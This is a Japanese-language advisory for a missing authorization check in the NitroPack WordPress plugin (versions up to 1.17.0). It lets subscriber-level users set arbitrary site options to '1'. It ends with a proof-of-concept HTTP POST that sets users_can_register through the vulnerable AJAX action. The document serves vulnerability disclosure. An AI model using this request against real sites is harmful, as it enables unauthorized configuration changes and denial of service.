
NitroPack <= 1.17.0 - 認証済み(購読者以上)ユーザーによる限定的オプション更新を可能にする認可欠如
WordPress用NitroPackプラグインは、バージョン1.17.0までの全バージョンにおいて、'nitropack_dismiss_notice_forever' AJAXアクションに対するケイパビリティチェックが欠如しているため、データの不正な変更に対して脆弱です。これにより、購読者レベル以上のアクセス権を持つ認証済み攻撃者が、任意のオプションを固定値'1'に更新することが可能になります。その結果、特定のオプション(例:ユーザー登録の有効化)を有効にしたり、サービス拒否状態を引き起こす形で特定のオプションを変更したりすることができます。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88
action=nitropack_dismiss_notice_forever&security=92f60ea3ea¬ice_id=users_can_register